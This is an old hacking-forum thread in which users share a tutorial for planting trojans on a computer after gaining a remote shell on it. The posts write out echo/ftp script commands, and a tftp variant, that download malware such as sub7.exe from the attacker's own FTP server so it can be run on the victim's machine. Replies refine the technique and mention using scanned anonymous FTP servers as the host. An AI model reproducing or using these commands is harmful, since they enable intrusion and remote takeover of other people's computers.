hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

oxygen007m
hi all body
who am i ? i am oxygen , your need for breathing !!! hahaha tongue.gif
how to upload files to remote system ?
perhaps you have got a remote shell prompt on your pc and you decided to upload files
and now this moment is very important to you , a question in mind : how to ???
well , reverse ftp'ing :
i explain it in few steps :
1 - configure a good ftp server on your pc and run it
2 - choice good username and password for your ftp server
3 - put all needed files to upload ( trojans ..etc ) on your ftp server local directory
4 - in hacked command shell enter the following commands :

echo off
echo open 192.168.xxx.xxx>transfer.txt ;put your IP
echo your-user-name>>transfer.txt ;for your ftp server
echo your-password>>transfer.txt ;for your ftp server
echo get file1.exe>>transfer.txt ; any file or trojan to upload
echo get file2.exe>>transfer.txt ; any file or trojan to upload
.... ; may be continued as needed
.... ; may be continued as needed
echo quit >>transfer.txt ; end of uploading transfer

ftp -s:transfer.txt ; ftp'ing script

* notice that right side quotations are only for explaning purpose *
if every thing is ok , you will see the transfering proccess for some minutes
when ftping finished you can run your files on remote computer ! you owned new computer !!!
i always use my favorite ftp server : *** buffy ***
link for download : buffy.zip
buffy is fully configureable and easy to use . thanks to programmer: francois piette (ICS)
==================================================
oxygen007m - ICQ#171449237
==================================================
rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif rolleyes.gif

TOPIC MOVED: This doesnt have a file in it for download. -OneNight-
warzoux
hello
thx for that tuto but :

echo off
echo open 192.168.xxx.xxx>transfer.txt ;put your IP

>>didn't you forget the port?

echo your-user-name>>transfer.txt ;for your ftp server
echo your-password>>transfer.txt ;for your ftp server
cr0ss
if you have shell you can also use this command if you run tftp
tftp -i yourip[xxx.xxx.xxx] get filename[server.exe] filepath withextention[test.exe]
or your server already run tftp you can use another command just change ips and use put instead of get
good luck

oxygen007m
QUOTE (warzoux @ Aug 31 2003, 04:31 PM)
hello
thx for that tuto but :

echo off
echo open 192.168.xxx.xxx>transfer.txt ;put your IP

>>didn't you forget the port?

echo your-user-name>>transfer.txt ;for your ftp server
echo your-password>>transfer.txt ;for your ftp server

hi all
default port for ftp is 21 , so there is no need to enter port number .
as i said before right side of command are for explaining and must not enter ,
for example :
echo open 192.168.0.21 >transfer.txt

you can write your own script but principle is the same
example :
echo open 192.168.0.55 >mytransfer.log
or without extention
sample example:
----------------------------------------------------------
echo open 192.168.0.55 >trans
echo myusername >>trans
echo mypass >>trans
echo get sub7.exe >>trans
echo quit >>trans

ftp -s:trans
----------------------------------------------------------
in example above we uploaded a sub7.exe (server.exe) to victim pc
myusername is configured by buffy , u can enter any thing if you like
mypass is configured by buffy , u can enter any thing if you like
as i said before we put all need files to upload in our buffy's local directory
you can try other choice
and after uploading your file , u can run it simply !
good luck wink.gif
-----------------------------------------------------------
oxygen007m - ICQ171449237
subcorner
oxygen, thaks a lot for this tips.
i didn't think about make the server on my computer.
I use anonymous ips that i scan on port 21
or tftpd but your tip is really great
newbie
dont u need to add
echo binary >>transfer.txt
???
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.